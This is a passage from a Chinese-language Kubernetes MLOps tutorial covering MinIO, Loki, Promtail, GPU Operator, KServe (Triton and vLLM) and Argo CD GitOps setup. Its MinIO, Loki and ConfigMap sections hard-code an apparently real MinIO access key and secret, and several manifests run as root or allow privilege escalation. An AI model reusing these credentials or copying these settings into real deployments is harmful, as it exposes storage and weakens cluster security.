istio-injection=disabled --overwrite 启用业务空间 (让模型享受 Service Mesh 能力)，业务命名空间 “必须” 注入 ✅\n1# 1. 创建你的业务空间 (如果你还没创建) 2kubectl create namespace model-serving 3# 2. 启用注入 (关键一步) 4kubectl label namespace model-serving istio-injection=enabled --overwrite 这样做的好处：\nGPU Operator、DCGM Exporter、Prometheus 不会被 sidecar 干扰 模型推理流量全部走 Istio + Knative 控制的入口 第 10 步：安装 MinIO（可选） 添加所有依赖 Helm 仓库\n1# 添加MinIO、Loki官方仓库 2helm repo add minio https://helm.min.io/ 3helm repo add grafana https://grafana.github.io/helm-charts 4# 更新所有仓库（确保获取最新Chart版本） 5helm repo update MinIO 部署 —— 部署 2 节点分布式 MinIO（Loki 后端存储） MinIO 配置为 2 副本分布式，适配当前 2 节点，同时预留未来扩容参数，升级时仅需修改副本数即可。\n编写 MinIO 配置文件 minio-distributed-values.yaml\n关键标注：文件内 replicas 和 numberOfNodes 为扩容核心参数，未来扩容需同步修改为 3+ 等节点数。\n1# 核心：启用分布式模式（2节点适配，未来扩容改replicas/numberOfNodes） 2mode: distributed 3replicas: 2 4numberOfNodes: 2 5 6# 镜像配置（你原单节点的成功版本） 7image: 8 repository: quay.io/minio/minio 9 tag: RELEASE.2023-07-07T07-13-57Z 10 pullPolicy: IfNotPresent 11 12# 访问密钥（完全沿用你的配置，Loki对接需一致） 13rootUser: U4DwltABIX8p20aONyoY 14rootPassword: 9YZInPYCqXwerS0NE6PDGrxo9g0l4akt2fs0IJNm 15 16# 持久化存储配置（你的成功配置，保障数据持久化） 17persistence: 18 enabled: true 19 storageClass: \u0026#34;\u0026#34; # 使用集群默认存储类 20 size: 10Gi 21 mountPath: /export 22 23# 服务配置（集群内访问，无需暴露外网） 24service: 25 type: ClusterIP 26 port: 9000 # S3兼容接口端口（Loki对接用） 27consoleService: 28 type: ClusterIP 29 port: 9001 # 管理控制台端口（可选） 30 31# 默认Bucket（Loki日志存储专用，自动创建，无需手动操作） 32defaultBucket: 33 enabled: true 34 name: loki-chunks # Loki配置需与该Bucket名一致 35 policy: read-write 36 purge: false # 卸载MinIO时保留数据 37 38# 资源限制（适配测试环境，低资源占用） 39resources: 40 requests: 41 cpu: 100m 42 memory: 512Mi 43 limits: 44 cpu: 500m 45 memory: 1Gi 46 47# 健康检查（分布式启动稍慢，微调延迟避免探针失败） 48livenessProbe: 49 initialDelaySeconds: 90 50 periodSeconds: 10 51readinessProbe: 52 initialDelaySeconds: 60 53 periodSeconds: 5 54 55# 跨节点调度策略（强制2个副本分布在不同节点，保障高可用） 56affinity: 57 podAntiAffinity: 58 requiredDuringSchedulingIgnoredDuringExecution: 59 - labelSelector: 60 matchExpressions: 61 - key: app.kubernetes.io/name 62 operator: In 63 values: 64 - minio 65 topologyKey: kubernetes.io/hostname 66 67# 安全配置（确保权限足够） 68securityContext: 69 runAsUser: 0 70 runAsGroup: 0 71 fsGroup: 0 72 73# 监控集成（默认关闭，若需对接Prometheus可改为true） 74metrics: 75 enabled: false 76 serviceMonitor: 77 enabled: false 安装分布式 MinIO\n1helm install minio minio/minio \\ 2 -n monitoring \\ 3 --version 5.4.0 \\ 4 -f minio-distributed-values.yaml 验证 MinIO 部署（2 节点核心检查）\n1# 查看MinIO Pod状态（2个副本均为Running，分布在不同节点） 2kubectl get pods -n monitoring -o wide | grep minio 3 4# 查看MinIO Service（地址固定，扩容后不变） 5kubectl get svc -n monitoring | grep minio 6 7# 验证桶创建成功 8kubectl exec -n monitoring minio-0 -- mc ls minio 9# 预期输出：[2024-xx-xx xx:xx:xx UTC] DIR loki-data 创建存储桶\nLoki 的 ConfigMap 中指定了两个桶：chunks（存储日志块）、ruler（存储规则），先在 MinIO 中手动创建这两个桶（避免 Loki 首次写入时因桶不存在报错）：\n1# 进入minio-0 Pod，创建chunks和ruler桶 2kubectl exec -it minio-0 -n monitoring -- /bin/sh -c \u0026#34; 3 /usr/local/bin/mc alias set minio http://localhost:9000 U4DwltABIX8p20aONyoY 9YZInPYCqXwerS0NE6PDGrxo9g0l4akt2fs0IJNm --api S3v4 \u0026amp;\u0026amp; 4 /usr/local/bin/mc mb minio/chunks --ignore-existing \u0026amp;\u0026amp; 5 /usr/local/bin/mc mb minio/ruler --ignore-existing \u0026amp;\u0026amp; 6 echo \u0026#39;✅ Loki所需的chunks和ruler桶创建成功\u0026#39; \u0026amp;\u0026amp; 7 /usr/local/bin/mc ls minio # 验证桶是否存在 8\u0026#34; 第 11 步：安装 Loki 和 Promtail 编写 Loki 配置文件（loki-values.yaml）\n1autoscaling: 2 enabled: true 3 maxReplicas: 5 4 minReplicas: 2 5 targetCPUUtilizationPercentage: 70 6 targetMemoryUtilizationPercentage: 80 7backend: 8 persistence: 9 enabled: true 10 size: 10Gi 11 storageClass: local 12 replicas: 2 13 # 可选新增：就绪探针（解决之前Pod卡死问题，不影响原有配置） 14 readinessProbe: 15 initialDelaySeconds: 60 16 timeoutSeconds: 10 17canary: 18 enabled: false 19gateway: 20 enabled: false 21grafanaAgent: 22 enabled: false 23image: 24 tag: 2.9.2 25loki: 26 auth_enabled: false 27 limits_config: 28 retention_period: 720h 29 schemaConfig: 30 configs: 31 - index: 32 period: 24h 33 prefix: index_ 34 object_store: s3 35 schema: v11 36 store: boltdb-shipper 37 storage: 38 config: 39 s3: 40 access_key_id: U4DwltABIX8p20aONyoY 41 bucketnames: chunks # 匹配MinIO已创建的chunks桶 42 endpoint: minio:9000 # 保留你原有简写地址，不改动 43 insecure: true 44 secret_access_key: 9YZInPYCqXwerS0NE6PDGrxo9g0l4akt2fs0IJNm 45 s3forcepathstyle: true # MinIO必需的核心配置 46 type: s3 47read: 48 replicas: 2 49 # 可选新增：就绪探针（解决之前Pod卡死问题，不影响原有配置） 50 readinessProbe: 51 initialDelaySeconds: 60 52 timeoutSeconds: 10 53resources: 54 limits: 55 cpu: 1000m 56 memory: 2Gi 57 requests: 58 cpu: 300m 59 memory: 768Mi 60write: 61 persistence: 62 enabled: true 63 size: 20Gi 64 storageClass: local 65 replicas: 2 66 # 可选新增：就绪探针（解决之前Pod卡死问题，不影响原有配置） 67 readinessProbe: 68 initialDelaySeconds: 60 69 timeoutSeconds: 10 部署 Loki\n1# 部署Loki 2helm install loki grafana/loki -n monitoring \\ 3 -f loki-values.yaml \\ 4 --version 5.36.0 Loki ConfigMap:\n1apiVersion: v1 2data: 3 config.yaml: |2 4 5 auth_enabled: false 6 common: 7 compactor_address: \u0026#39;loki-backend\u0026#39; 8 path_prefix: /var/loki 9 replication_factor: 1 10 storage: 11 s3: 12 bucketnames: chunks 13 # 新增：MinIO集群内服务地址 14 endpoint: minio.monitoring.svc.cluster.local:9000 15 # 新增：MinIO的Access Key 16 access_key_id: U4DwltABIX8p20aONyoY 17 # 新增：MinIO的Secret Key 18 secret_access_key: 9YZInPYCqXwerS0NE6PDGrxo9g0l4akt2fs0IJNm 19 # 修正：MinIO未开启HTTPS，改为true 20 insecure: true 21 # 修正：MinIO必须开启路径风格，改为true 22 s3forcepathstyle: true 23 frontend: 24 scheduler_address: query-scheduler-discovery.monitoring.svc.cluster.local.:9095 25 frontend_worker: 26 scheduler_address: query-scheduler-discovery.monitoring.svc.cluster.local.:9095 27 index_gateway: 28 mode: ring 29 limits_config: 30 enforce_metric_name: false 31 max_cache_freshness_per_query: 10m 32 reject_old_samples: true 33 reject_old_samples_max_age: 168h 34 retention_period: 720h 35 split_queries_by_interval: 15m 36 memberlist: 37 join_members: 38 - loki-memberlist 39 query_range: 40 align_queries_with_step: true 41 ruler: 42 storage: 43 s3: 44 bucketnames: ruler 45 # 新增：MinIO集群内服务地址 46 endpoint: minio.monitoring.svc.cluster.local:9000 47 # 新增：MinIO的Access Key 48 access_key_id: U4DwltABIX8p20aONyoY 49 # 新增：MinIO的Secret Key 50 secret_access_key: 9YZInPYCqXwerS0NE6PDGrxo9g0l4akt2fs0IJNm 51 # 修正：MinIO未开启HTTPS，改为true 52 insecure: true 53 # 修正：MinIO必须开启路径风格，改为true 54 s3forcepathstyle: true 55 type: s3 56 runtime_config: 57 file: /etc/loki/runtime-config/runtime-config.yaml 58 schema_config: 59 configs: 60 - index: 61 period: 24h 62 prefix: index_ 63 object_store: s3 64 schema: v11 65 store: boltdb-shipper 66 server: 67 grpc_listen_port: 9095 68 http_listen_port: 3100 69 storage_config: 70 hedging: 71 at: 250ms 72 max_per_second: 20 73 up_to: 3 74kind: ConfigMap 75metadata: 76 annotations: 77 meta.helm.sh/release-name: loki 78 meta.helm.sh/release-namespace: monitoring 79 creationTimestamp: \u0026#34;2025-11-24T08:14:03Z\u0026#34; 80 labels: 81 app.kubernetes.io/instance: loki 82 app.kubernetes.io/managed-by: Helm 83 app.kubernetes.io/name: loki 84 app.kubernetes.io/version: 2.9.2 85 helm.sh/chart: loki-5.36.0 86 name: loki 87 namespace: monitoring 88 resourceVersion: \u0026#34;8228076\u0026#34; 89 uid: 103b336c-fcb1-4516-85d8-76d45ca6c79d 验证 Loki 部署\n1# 查看Loki核心组件（read/write/backend均需Running） 2kubectl get pods -n monitoring | grep -E \u0026#34;loki-read|loki-write|loki-backend\u0026#34; 3# 示例输出： 4# loki-backend-0 2/2 Running 0 5m 5# loki-read-546cd5b67c-dsb84 1/1 Running 0 5m 6# loki-write-0 1/1 Running 0 5m 部署 Promtail（日志采集代理）\n编写 Promtail 配置文件（promtail-values.yaml）\n1config: 2 # 对接Loki的write服务（集群内服务名解析） 3 clients: 4 - url: http://loki-write:3100/loki/api/v1/push 5 6 # 日志采集规则（采集K8s Pod日志） 7 scrape_configs: 8 - job_name: kubernetes-pods 9 kubernetes_sd_configs: 10 - role: pod # 基于Pod自动发现 11 relabel_configs: 12 # 添加命名空间标签 13 - source_labels: [__meta_kubernetes_pod_namespace] 14 action: replace 15 target_label: namespace 16 # 添加Pod名称标签 17 - source_labels: [__meta_kubernetes_pod_name] 18 action: replace 19 target_label: pod 20 # 添加容器名称标签 21 - source_labels: [__meta_kubernetes_pod_container_name] 22 action: replace 23 target_label: container 24 # 过滤掉无需采集的系统组件（可选，按需调整） 25 - source_labels: [__meta_kubernetes_pod_namespace] 26 regex: \u0026#34;kube-system|istio-system\u0026#34; 27 action: drop 28 29# 部署模式：DaemonSet（每个节点1个副本） 30daemonset: 31 enabled: true 32 extraArgs: 33 - --max-open-files=1000000 # 增加文件打开限制 34 # 健康检查配置 35 readinessProbe: 36 initialDelaySeconds: 60 37 timeoutSeconds: 10 38 39# 权限配置（解决日志目录读取权限问题） 40securityContext: 41 runAsUser: 0 # 以root用户运行 42 runAsGroup: 0 43 fsGroup: 0 44 allowPrivilegeEscalation: true 45 capabilities: 46 add: 47 - DAC_READ_SEARCH # 增加目录读取权限 48 49# 资源配置（低资源占用） 50resources: 51 requests: 52 cpu: 50m 53 memory: 64Mi 54 limits: 55 cpu: 200m 56 memory: 256Mi 57 58# 禁用非必需组件 59serviceMonitor: 60 enabled: false 61prometheusRule: 62 enabled: false 部署 Promtail\n1# 部署Promtail 2helm install promtail grafana/promtail -n monitoring \\ 3 -f promtail-values.yaml \\ 4 --version 5.36.0 验证 Promtail 部署\n1# 查看Promtail Pod（每个节点1个副本，均需Running） 2kubectl get pods -n monitoring | grep promtail 3 4# 查看Promtail日志（确认无报错，有日志推送记录） 5PROMTAIL_POD=$(kubectl get pods -n monitoring -l app=promtail -o jsonpath=\u0026#39;{.items[0].metadata.name}\u0026#39;) 6kubectl logs -n monitoring $PROMTAIL_POD | grep \u0026#34;Successfully sent batch\u0026#34; 7# 示例输出：level=info ts=xxx caller=client.go:347 msg=\u0026#34;Successfully sent batch\u0026#34; 最终验证 验证 GPU Operator \u0026amp; GPU metrics 是否正常 看 GPU Operator 相关 Pod：\n1kubectl -n gpu-operator get pods 2kubectl -n gpu-operator get ds 通常会看到类似：\n驱动 DaemonSet Device Plugin DaemonSet nvidia-dcgm-exporter 或类似名字的 DaemonSet 找到 DCGM Exporter 暴露出来的 Service：\n1kubectl -n gpu-operator get svc 里面一般会有一个和 dcgm-exporter 类似名字的 Service，对应端口 9400（Prometheus 默认端口）。\n本地 port-forward 看看 /metrics：\n1# 换成你查到的 dcgm exporter 服务名 2kubectl -n gpu-operator port-forward svc/nvidia-dcgm-exporter 9400:9400 3 4# 打开一个新终端： 5curl http://127.0.0.1:9400/metrics | head 应该能看到类似：\n1# HELP DCGM_FI_DEV_SM_CLOCK SM clock frequency (in MHz). 2# TYPE DCGM_FI_DEV_SM_CLOCK gauge 3DCGM_FI_DEV_SM_CLOCK{gpu=\u0026#34;0\u0026#34;,UUID=\u0026#34;GPU-xxxx\u0026#34;} 139 4... 说明 GPU 指标已经通过 DCGM Exporter 暴露出来了。\n轻量级测试 1# 运行 GPU 测试 (显式申请 1 个 GPU) 2sudo kubectl run test-gpu-real \\ 3 -n model-serving \\ 4 --image=vllm/vllm-openai:latest \\ 5 --restart=Never \\ 6 --overrides=\u0026#39;{\u0026#34;metadata\u0026#34;: {\u0026#34;annotations\u0026#34;: {\u0026#34;sidecar.istio.io/inject\u0026#34;: \u0026#34;false\u0026#34;}}, \u0026#34;spec\u0026#34;: {\u0026#34;containers\u0026#34;: [{\u0026#34;name\u0026#34;: \u0026#34;test-gpu-real\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;vllm/vllm-openai:latest\u0026#34;, \u0026#34;command\u0026#34;: [\u0026#34;nvidia-smi\u0026#34;], \u0026#34;resources\u0026#34;: {\u0026#34;limits\u0026#34;: {\u0026#34;nvidia.com/gpu\u0026#34;: \u0026#34;1\u0026#34;}}}]}}\u0026#39; 7 8kubectl logs test-gpu-real -n model-serving 完整测试（triton + vllm） 有关 Namespace\n注意 InferenceService 的 namespace 是：model-serving\n为什么必须是 model-serving？\nIstio 注入生效：我们之前只给 model-serving 命名空间打了 istio-injection=enabled 标签。只有部署在这个命名空间下的 Pod，才会自动拥有 Istio Sidecar（负责流量路由、Metrics 等）。 资源隔离：将业务模型与系统组件（如 gpu-operator, knative-serving）分开，是生产环境的最佳实践。 举例：\n1apiVersion: serving.kserve.io/v1beta1 2kind: InferenceService 3metadata: 4 name: qwen-7b-chat # 你的服务名称 5 namespace: model-serving # 👈 这里必须写 model-serving 6spec: 7 predictor: 8 model: 9 modelFormat: 10 name: vllm # 对应 ClusterServingRuntime 的名字 11 runtime: kserve-vllm # 如果你有自定义 Runtime，这里指定名字 12 storageUri: \u0026#34;pvc://model-pvc/qwen-7b\u0026#34; # 或者 \u0026#34;s3://...\u0026#34; 13 resources: 14 requests: 15 cpu: \u0026#34;4\u0026#34; 16 memory: \u0026#34;16Gi\u0026#34; 17 nvidia.com/gpu: \u0026#34;1\u0026#34; # 👈 申请 1 张显卡 18 limits: 19 cpu: \u0026#34;4\u0026#34; 20 memory: \u0026#34;16Gi\u0026#34; 21 nvidia.com/gpu: \u0026#34;1\u0026#34; 即使 YAML 里写了 namespace，习惯上在 apply 时显式指定一下也是个好习惯（双重保险）：\n1kubectl apply -f isvc-llm.yaml -n model-serving 五、完整调用链路\n六、基于 Argo 的 CI / CD GitHub: https://github.com/argoproj/argo-cd 官网：https://argoproj.github.io/\n“\nArgo = 一套专门给 Kubernetes 用的开源工具家族，用来做 CI / CD、工作流编排、GitOps 部署、灰度发布、事件驱动等，是 CNCF 下面的毕业项目\nArgo 不是一个单一软件，而是一个 “工具矩阵”，主要包括四个子项目：\nArgo Workflows Kubernetes 原生的 工作流 / 任务编排引擎 用 CRD（自定义资源）定义 Workflow，每个步骤跑在 Pod 里，非常适合 CI 流水线、数据处理、ML 训练等批处理任务 Argo CD 一个 GitOps 风格的持续交付工具 通过对比 Git 仓库里的 “期望状态” 和 K8s 集群中的 “实际状态”，自动同步和回滚应用，常用来管理大规模集群配置 Argo Rollouts 替代原生 Deployment 的 CRD 支持 蓝绿发布、金丝雀发布，可以接入网关、监控指标做渐进式发布和自动回滚 Argo Events 做 事件驱动 自动化 支持各种事件源（Webhook、Kafka、S3 等），触发 Argo Workflows 或其他 K8s 资源，实现 event-driven CI / CD 或自动化任务 一句话：Argo = “围绕 Kubernetes 打造的一整套自动化 / GitOps / 发布 / 事件工具链”。\nArgo 跟 Kubernetes 是什么关系？ “\nKubernetes 提供 “集群和基础设施”，Argo 提供 “在这个集群上自动化地干活的工具”。Argo 是 Kubernetes 最主流的 GitOps / Workflow 方案之一\nCNCF 官方介绍中就把 Argo 定义为 “Kubernetes-native tools to run workflows, manage clusters, and do GitOps right”\n运行环境层面：完全依赖 K8s\nArgo 的所有组件（Controller、UI 等）都是以 Deployment / Pod 的形式部署在 Kubernetes 集群中。 Argo 的核心对象（Workflow、Rollout、EventSource、Application 等）都是 Kubernetes CRD。 职责分工：\nKubernetes 负责：调度 Pod、管理节点、网络、存储、基础监控。\nArgo 负责：\n把一堆任务编排成 “工作流” 并在 K8s 上跑（Workflows）\n把 Git 仓库里的 YAML 自动同步到集群（CD \u0026amp; GitOps）\n把发布过程做成可观测、可灰度控制的 rollouts（Rollouts）\n把外部事件变成触发器（Events）\n部署层级 所有文件都应该放到 git 让 Argo 负责吗？\n不是的，这涉及到 “部署层级” 的问题。在云原生的 GitOps 实践中，我们将部署分为了两个截然不同的层级：\n层级一：平台基础设施层\n包含组件：Istio, Knative Serving, KServe, Cert-Manager, Nvidia Device Plugin 等。\n特点：\n变动低频：装好后很少动，顶多几个月升级一次版本。\n全局影响：一旦挂了，所有模型全挂。\n管理者：平台运维工程师 / SRE。\n部署方式：通常使用 Helm Chart 或 Operator。\n层级二：应用负载层\n包含组件：InferenceService (模型), gateway (网关), ConfigMap (业务配置)。\n特点：\n变动高频：每天可能有新模型上线，或者修改版本、调整并发参数。\n局部影响：配置错了只影响这一个模型。\n管理者：算法工程师 / MLOps 工程师。\n部署方式：YAML 文件 (InferenceService)。\n所以目前来看，层级二的内容要以放到 git 中由 argo 管理 CD。层级一的也可以放到 git 中，但手动运维。\n实践 Jenkins 本身是可以做全套的 CI + CD 的，但从我们推理服务部署这件事上来讲，CD (持续部署) 并不适合用 Jenkins，而适合用 Argo。Jenkins 在我们的这个场景下可以继续做它擅长的 CI (持续集成)，但想了想，没必要那么麻烦，全部用 Argo 结合 Git 就完全能搞定，而且很方便，不适合用 jenkins 再增加运维复杂度了。\nArgoCD 是云原生时代的王者（GitOps 流）\n实操 for Triton（预演） 假设：\nGit 仓库地址：git@github.com:your-name/ai-ops.git S3 Bucket：my-ai-models EKS 命名空间：ai-serving 自定义 Docker 镜像 \u0026ndash;\u0026gt; 镜像仓库 第一阶段：基础设施与权限准备 (一次性工作)\n这部分工作通常不需要经常变动，主要是为了打通 K8s 和 S3 的权限，以及准备 Git 仓库。\n创建 Namespace (如果还没建) 1kubectl create namespace ai-serving 配置 S3 访问凭证 (Secrets) 注意：敏感信息不要直接上传到 Git。 我们先用 kubectl 手动创建 Secret（或者使用 ExternalSecrets / SealedSecrets 等高级方案，但现在先用简单直接的方式）。 准备一个 s3-secret.yaml 在你本地（ 不要提交到 Git）：\n1apiVersion: v1 2kind: Secret 3metadata: 4 name: my-s3-secret 5 namespace: ai-serving 6 annotations: 7 serving.kserve.io/s3-endpoint: \u0026#34;s3.amazonaws.com\u0026#34; # AWS S3 8 serving.kserve.io/s3-region: \u0026#34;us-east-1\u0026#34; # 你的 Region 9type: Opaque 10stringData: 11 AWS_ACCESS_KEY_ID: \u0026#34;你的AK\u0026#34; 12 AWS_SECRET_ACCESS_KEY: \u0026#34;你的SK\u0026#34; 执行应用：\n1kubectl apply -f s3-secret.yaml 准备 Git 仓库目录结构 在你的 ai-ops Git 仓库中，创建一个专门存放 ASR 部署文件的目录，例如 apps/asr-service/overlays/prod (如果是 Kustomize 结构) 或者直接 manifests/asr-service。\n建议结构如下\n1manifests/asr-service/ 2├── service-account.yaml # 关联 Secret 的账号配置 3└── inference-service.yaml # 核心模型服务配置 编写 manifests/asr-service/service-account.yaml 并提交到 Git：\n1apiVersion: v1 2kind: ServiceAccount 3metadata: 4 name: sa-s3-access 5 namespace: ai-serving 6secrets: 7 - name: my-s3-secret # 引用刚才手动创建的 Secret 第二阶段：模型工件准备 (模型上线 / 更新时操作)\n这个阶段是 “搬运工” 工作，把模型传上去，让 KServe 有东西可拉。\n本地整理 Triton 结构 如之前所述，确保本地目录结构正确：\n1simple-asr/ 2├── config.pbtxt 3└── 1/ 4 └── model.onnx 上传到 S3 使用 AWS CLI 或手动上传。\n1# 假设上传到 bucket 的 triton-repo 目录下 2aws s3 cp --recursive simple-asr/ s3://my-ai-models/triton-repo/simple-asr/ 验证： 确保 s3://my-ai-models/triton-repo/simple-asr/config.pbtxt 存在。\n第三阶段：Argo CD 配置与部署 (GitOps 核心)\n这是让 Argo CD 接管部署的关键步骤。\n编写 InferenceService 配置文件 在 Git 仓库的 manifests/asr-service/inference-service.yaml 中写入：\n1apiVersion: serving.kserve.io/v1beta1 2kind: InferenceService 3metadata: 4 name: asr-service 5 namespace: ai-serving 6 annotations: 7 # 稍微改动这个字段可以触发 Argo 重新同步和 Pod 重启，常用于强制重新拉取模型 8 serving.kserve.io/model-version: \u0026#34;v1-20231121\u0026#34; 9spec: 10 predictor: 11 serviceAccountName: sa-s3-access 12 model: 13 modelFormat: 14 name: onnx 15 runtime: kserve-tritonserver 16 storageUri: s3://my-ai-models/triton-repo/simple-asr 17 resources: 18 limits: 19 nvidia.com/gpu: 1 提交代码到 Git：\n1git add . 2git commit -m \u0026#34;Add ASR inference service\u0026#34; 3git push 创建 Argo CD Application 你需要告诉 Argo CD：“去监控我的 Git 仓库，把东西部署到 EKS 里”。\n你可以通过 Argo CD 的 Web UI 点击 \u0026ldquo;New App\u0026rdquo; 创建，或者写一个 YAML 文件（推荐 YAML 方式，这叫 App-of-Apps 模式）。\n创建一个文件 asr-argocd-app.yaml (手动 apply 这个文件)：\n1apiVersion: argoproj.io/v1alpha1 2kind: Application 3metadata: 4 name: asr-serving-app 5 namespace: argocd 6spec: 7 project: default 8 source: 9 repoURL: \u0026#39;https://github.com/your-name/ai-ops.git\u0026#39; # 你的 Git 地址 10 targetRevision: HEAD 11 path: manifests/asr-service # 你的 YAML 所在目录 12 destination: 13 server: \u0026#39;https://kubernetes.default.svc\u0026#39; 14 namespace: ai-serving 15 # 开启自动同步和自愈 16 syncPolicy: 17 automated: 18 prune: true # Git 里删了文件，K8s 里也删掉 19 selfHeal: true # 手动改了 K8s 配置，Argo 会强制改回来 20 syncOptions: 21 - CreateNamespace=true 执行：\n1kubectl apply -f asr-argocd-app.yaml 第四阶段：验证与观察\n一旦应用了上面的 Application YAML，奇迹就开始了：\n观察 Argo CD UI： 你会看到 asr-serving-app 变成 Processing 状态。 它会画出一棵树：Application -\u0026gt; InferenceService -\u0026gt; Knative Configuration -\u0026gt; Revision -\u0026gt; Deployment -\u0026gt; Pod。 确保所有图标变绿（Healthy 和 Synced）。 观察 Pod 状态 (命令行)： 1kubectl get pods -n ai-serving 你会看到类似 asr-service-predictor-00001-deployment-xxx 的 Pod。\n如果是 Init:0 / 1：正在运行 storage-initializer 下载 S3 模型。 如果是 Running：模型下载完毕，Triton 启动成功 日常开发流程\n这套系统搭建好后，以后的日常工作流就是：\n算法同学：训练新模型 -\u0026gt; 导出 ONNX -\u0026gt; 上传覆盖 S3 上的 model.onnx。 运维 / 算法同学： 修改 Git 里的 inference-service.yaml。 比如修改 annotations 里的 version: \u0026ldquo;v2\u0026rdquo; 或者修改资源配额。 git push。 Argo CD：自动检测到 Git 变化 -\u0026gt; 更新 K8s 资源 -\u0026gt; Knative 滚动更新 -\u0026gt; 新 Pod 拉取新模型 -\u0026gt; 流量平滑切换。 这就是最标准的 GitOps 模型部署流程。\n实操 for vLLM（预演） 第一阶段：基础设施准备 (一次性工作)\n因为 KServe 可能不知道怎么启动 vLLM，我们需要先在集群里注册一个 “说明书”，告诉 KServe：“当我说用 vllm 时，请拉取这个镜像并运行这个命令”。\n创建 vLLM 的 ClusterServingRuntime 将以下内容保存为 vllm-runtime.yaml 并 kubectl apply -f（或者放入 ArgoCD 管理的基础设施 Git 仓库中）。\n1apiVersion: serving.kserve.io/v1alpha1 2kind: ClusterServingRuntime 3metadata: 4 name: kserve-vllm 5spec: 6 annotations: 7 prometheus.kserve.io/path: \u0026#34;/metrics\u0026#34; 8 prometheus.kserve.io/port: \u0026#34;8000\u0026#34; 9 containers: 10 - name: kserve-container 11 image: vllm/vllm-openai:latest # 使用 vLLM 官方镜像 12 command: [\u0026#34;python3\u0026#34;, \u0026#34;-m\u0026#34;, \u0026#34;vllm.entrypoints.openai.api_server\u0026#34;] 13 args: 14 # 这里的 args 是默认值，会被 InferenceService 里的 args 覆盖或追加 15 - --port=8080 16 - --model=/mnt/models 17 - --served-model-name=default 18 - --trust-remote-code 19 env: 20 - name: HF_HOME 21 value: /tmp/hf 22 resources: 23 requests: 24 cpu: \u0026#34;4\u0026#34; 25 memory: \u0026#34;16Gi\u0026#34; 26 limits: 27 cpu: \u0026#34;8\u0026#34; 28 memory: \u0026#34;32Gi\u0026#34; “\n注意：vLLM 默认监听 8000，但 KServe 容器通常要求监听 8080，所以我们在 args 里强制指定 \u0026ndash;port = 8080。\n第二阶段：模型上传 (S3)\nvLLM 不需要 Triton 那种 1 / model.onnx 的结构。它只需要标准的 HuggingFace 模型文件夹。\n假设你要部署 Qwen2-7B：\n本地准备 你需要把 HuggingFace 上的文件下载下来，目录结构大概长这样：\n1Qwen2-7B/ 2├── config.json 3├── tokenizer.json 4├── model-00001-of-00004.safetensors 5├── ... 6└── model.safetensors.index.json 上传 S3 1aws s3 cp --recursive Qwen2-7B/ s3://my-ai-models/llm/Qwen2-7B/ 第三阶段：Argo CD 部署配置 (GitOps)\n在 Git 仓库中（manifests/llm-service/），编写 inference-service.yaml。 这里有几个关键点需要注意：\nruntime: 指定刚才创建的 kserve-vllm。 storageUri: 指向 S3 文件夹。KServe 会把这里面的所有文件下载到 Pod 的 /mnt/models 目录下。 args: 我们需要覆盖启动参数，告诉 vLLM 模型就在 /mnt/models。 1apiVersion: serving.kserve.io/v1beta1 2kind: InferenceService 3metadata: 4 name: qwen-llm 5 namespace: ai-serving 6 annotations: 7 # LLM 启动很慢（加载权重需要时间），必须调大健康检查超时时间，否则会被 K8s 杀掉 8 serving.knative.dev/progressDeadline: \u0026#34;20m\u0026#34; 9 10 # 自动扩缩容配置 (LLM通常基于并发或请求数) 11 autoscaling.knative.dev/target: \u0026#34;5\u0026#34; 12 autoscaling.knative.dev/minScale: \u0026#34;1\u0026#34; # 建议 LLM 至少保留1个，因为冷启动太慢了 13 autoscaling.knative.dev/maxScale: \u0026#34;3\u0026#34; 14spec: 15 predictor: 16 serviceAccountName: sa-s3-access # 别忘了 S3 权限账号 17 model: 18 modelFormat: 19 name: pytorch 20 runtime: kserve-vllm # 对应 ClusterServingRuntime 的名字 21 22 # KServe 会把这个 S3 路径下的内容下载到容器的 /mnt/models 23 storageUri: s3://my-ai-models/llm/Qwen2-7B 24 25 # 核心参数配置 26 args: 27 - --model=/mnt/models # 必填：指向下载好的模型路径 28 - --served-model-name=qwen # 服务名称，API调用时用到 29 - --gpu-memory-utilization=0.9 # 显存占用率 30 - --max-model-len=4096 # 上下文长度，防止 OOM 31 - --dtype=float16 # 或 bfloat16 32 33 resources: 34 requests: 35 cpu: \u0026#34;8\u0026#34; 36 memory: \u0026#34;32Gi\u0026#34; 37 nvidia.com/gpu: 1 # 必须有 GPU 38 limits: 39 cpu: \u0026#34;16\u0026#34; 40 memory: \u0026#34;64Gi\u0026#34; 41 nvidia.com/gpu: 1 42 nodeSelector: 43 gpu-type: \u0026#34;A100\u0026#34; # 建议指定节点类型 提交到 Git，Argo CD 检测到后会自动同步。\n创建 Argo CD Application 你可以通过 Argo CD 的 Web UI 点击 \u0026ldquo;New App\u0026rdquo; 创建，或者写一个 YAML 文件（推荐 YAML 方式，这叫 App-of-Apps 模式）。\n创建一个文件 llm-argocd-app.yaml (手动 apply 这个文件)：\n1apiVersion: argoproj.io/v1alpha1 2kind: Application 3metadata: 4 name: llm-serving-app # 应用名称，要在 Argo 面板上显示的 5 namespace: argocd # ArgoCD 安装的命名空间 6spec: 7 project: default 8 source: 9 repoURL: \u0026#39;https://github.com/your-name/ai-ops.git\u0026#39; # 你的 Git 仓库 10 targetRevision: HEAD 11 path: manifests/llm-service # ✅ 关键点：指向存放 vLLM InferenceService 的目录 12 destination: 13 server: \u0026#39;https://kubernetes.default.svc\u0026#39; 14 namespace: ai-serving # 部署的目标命名空间 15 # 启用自动同步，Git 变了 K8s 自动变 16 syncPolicy: 17 automated: 18 prune: true # Git 里删了，K8s 也删 19 selfHeal: true # K8s 里被改了，强制还原回 Git 的状态 20 syncOptions: 21 - CreateNamespace=true # 如果 ai-serving 命名空间不存在，自动创建 执行：\n1kubectl apply -f llm-argocd-app.yaml 第四阶段：部署后的验证与调用\nvLLM 启动成功后，它提供的是 OpenAI Compatible API。这意味着你可以直接用 OpenAI 的 SDK 或者 curl 来调用，这比 Triton 的 gRPC 接口对开发者更友好。\n验证 Pod 状态 1kubectl get pods -n ai-serving 2# 等待状态变为 Running (可能需要几分钟下载模型和加载权重) 3kubectl logs -f \u0026lt;pod-name\u0026gt; -c kserve-container -n ai-serving 4# 看到日志显示 \u0026#34;Uvicorn running on http://0.0.0.0:8080\u0026#34; 即成功 调用测试 (在集群内部或通过 Ingress) 获取服务的 URL\n1kubectl get isvc qwen-llm -n ai-serving 2# 假设 URL 是 http://qwen-llm.ai-serving.svc.cluster.local 发送请求（完全兼容 OpenAI 格式）：\n1curl http://qwen-llm.ai-serving.svc.cluster.local/v1/chat/completions \\ 2 -H \u0026#34;Content-Type: application/json\u0026#34; \\ 3 -d \u0026#39;{ 4 